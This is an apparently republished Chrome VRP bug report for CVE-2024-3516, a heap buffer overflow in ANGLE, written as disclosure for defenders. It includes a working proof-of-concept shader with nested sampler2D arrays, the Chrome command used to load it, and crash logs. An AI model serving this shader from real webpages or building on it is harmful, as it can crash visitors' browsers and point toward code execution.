Skip to content
Memory corruption Advisory Advanced CVE-2024-3516

Heap buffer overflow in ANGLE (CVE-2024-3516)

The fix for a previous ANGLE vulnerability could be bypassed using a crafted shader with nested sampler2D arrays, causing an assertion failure and a heap buffer overflow. An attacker could potentially crash the browser or execute arbitrary code by rendering a malicious WebGL page.

Bao Pham Follow

Originally disclosed on Chrome VRP

Bounty$10,000 High View original
  • Fix shipped in 33 days

Hi, Im reporting incomplete fix for CVE-2024-0223 (https://issues.chromium.org/u/1/issues/40945594) I can bypass the fix with sampler2D structure and trigger the assert again.

version 300 es
        precision highp float;

          struct X {
              mediump sampler2D a[0xf00]; 
              mediump sampler2D b[0xf00]; 
              mediump sampler2D c[0xf000];
              mediump sampler2D d[0xf00]; 
          };


        struct Sinner {
          X s1;
          mediump sampler2D a[0xf00]; 
          mediump sampler2D b[0xf000];
          mediump sampler2D c[0x14000];
        };

        struct S {
            Sinner s1;
        };


        layout(std140) uniform structBuffer { S s; } buffer;

        void acs(S s)
        {
            
        }

        void main()
        {
            acs(buffer.s);
        }
WARN: BuildSPIRV.cpp:1088 (declareType):        ! Assert failed in declareType (../../src/compiler/translator/spirv/BuildSPIRV.cpp:1088): !IsOpaqueType(type.type)             
Warning: spirv_instruction_builder_autogen.cpp:25 (MakeLengthOp):       ! Assert failed in MakeLengthOp (../../src/common/spirv/spirv_instruction_builder_autogen.cpp:25): length <= 0xFFFFu

VERSION Chrome Version: All version + Channels Operating System: All OS

REPRODUCTION: run chrome asan build official with poc will see crash log at below, basically it same with my previous report but i haven't modify so it can crash in ASAN, kindly let me know if you guys need one.

./chrome -use-gl=angle -use-angle=swiftshader http://localhost:8000/poc2.html

DISPLAY=:0 ./chrome http://localhost:8000/poc2.html             
[205661:205661:0310/001031.856269:ERROR:policy_logger.cc(157)] :components/enterprise/browser/controller/chrome_browser_cloud_management_controller.cc(161) Cloud management controller initialization aborted as CBCM is not en
abled. Please use the `--enable-chrome-browser-cloud-management` command line flag to enable it if you are not using the official Google Chrome build.
[205701:205701:0310/001032.089474:ERROR:viz_main_impl.cc(198)] Exiting GPU process due to errors during initialization
[205661:205661:0310/001033.514961:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.ScreenSaver.GetActive: object_path= /org/freedesktop/ScreenSaver: org.freedesktop.DBus.Error.NotSupported: This method is n
ot implemented      
[205833:205833:0310/001033.661582:ERROR:viz_main_impl.cc(198)] Exiting GPU process due to errors during initialization
[205909:205909:0310/001033.885618:ERROR:viz_main_impl.cc(198)] Exiting GPU process due to errors during initialization
[205806:7:0310/001034.071995:ERROR:command_buffer_proxy_impl.cc(131)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.                                                             
[205981:205981:0310/001034.628574:ERROR:gl_utils.cc(424)] [.WebGL-0x51b000009a80]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels                                  
^Cp@sss:/util/pocpoc/124$ DISPLAY=:0 ./chrome -use-gl=angle -use-angle=swiftshader http://localhost:8000/poc2.html
[206052:206052:0310/001116.169569:ERROR:policy_logger.cc(157)] :components/enterprise/browser/controller/chrome_browser_cloud_management_controller.cc(161) Cloud management controller initialization aborted as CBCM is not en
abled. Please use the `--enable-chrome-browser-cloud-management` command line flag to enable it if you are not using the official Google Chrome build.
[206052:206052:0310/001117.827336:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.ScreenSaver.GetActive: object_path= /org/freedesktop/ScreenSaver: org.freedesktop.DBus.Error.NotSupported: This method is n
ot implemented
^Cp@sss:/util/pocpoc/124$ DISPLAY=:0 ./chrome -use-gl=angle -use-angle=swiftshader http://localhost:8000/poc2.html
[206272:206272:0310/001200.326222:ERROR:policy_logger.cc(157)] :components/enterprise/browser/controller/chrome_browser_cloud_management_controller.cc(161) Cloud management controller initialization aborted as CBCM is not en
abled. Please use the `--enable-chrome-browser-cloud-management` command line flag to enable it if you are not using the official Google Chrome build.
[206272:206272:0310/001201.996816:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.ScreenSaver.GetActive: object_path= /org/freedesktop/ScreenSaver: org.freedesktop.DBus.Error.NotSupported: This method is n
ot implemented
[206312:206312:0310/001202.430149:ERROR:gl_utils.cc(420)] [.WebGL-0x51b00000a880] GL_INVALID_OPERATION: It is undefined behaviour to have a used but unbound uniform buffer.
SPIR-V ERROR: 0:0 Invalid opcode: 23713
SPIR-V WARNING: 0:0 Invalid opcode: 23713
[0310/001203.111857:ERROR:file_io_posix.cc(145)] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0310/001203.112008:ERROR:file_io_posix.cc(145)] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
Received signal 11 SEGV_MAPERR 000000000014
#0 0x556a7fa55506 (/util/pocpoc/124/chrome+0xe560505)
#1 0x556a916c7338 (/util/pocpoc/124/chrome+0x201d2337)
#2 0x556a9168ff19 (/util/pocpoc/124/chrome+0x2019af18)
#3 0x556a916c6626 (/util/pocpoc/124/chrome+0x201d1625)
#4 0x7f455ce42520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#5 0x7f454928de65 <unknown>
#6 0x7f454929d393 <unknown>
#7 0x7f45490afda6 <unknown>
#8 0x7f45490aa9de <unknown>
#9 0x7f45490d6a87 <unknown>
#10 0x7f45549e8d51 <unknown>
#11 0x7f45549ea675 <unknown>
#12 0x7f4554890f46 <unknown>
#13 0x7f45548905a7 <unknown>
#14 0x7f45551f625b <unknown>
#15 0x556a9573f75b (/util/pocpoc/124/chrome+0x2424a75a)
#16 0x556a9573faa0 (/util/pocpoc/124/chrome+0x2424aa9f)
#17 0x556a91542845 (/util/pocpoc/124/chrome+0x2004d844)
#18 0x556a915c73ac (/util/pocpoc/124/chrome+0x200d23ab)
#19 0x556a915c75fd (/util/pocpoc/124/chrome+0x200d25fc)

CREDIT INFORMATION

Reporter credit: Bao (zx) Pham and Toan (suto) Pham of Qrious Secure

The original report as published on the Chromium issue tracker, by Bao (zx) Pham and Toan (suto) Pham of Qrious Secure. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could crash the browser or potentially execute arbitrary code by convincing a user to visit a malicious webpage.

What the attacker needed

Victim visits a malicious webpage; Chrome with ANGLE and SwiftShader

How it was found

  1. Create an HTML file that loads a WebGL shader with nested structs containing large sampler2D arrays.
  2. Run Chrome with the ANGLE and SwiftShader flags, pointing to the HTML file.
  3. Observe the assertion failures and subsequent segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ANGLE is a component in Chrome that translates WebGL (3D graphics) code into a form the GPU can understand. A bug in this translation allowed a specially crafted shader to overflow a buffer, which could crash the browser or let an attacker run their own code. The report shows that an earlier fix for a similar bug was incomplete.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.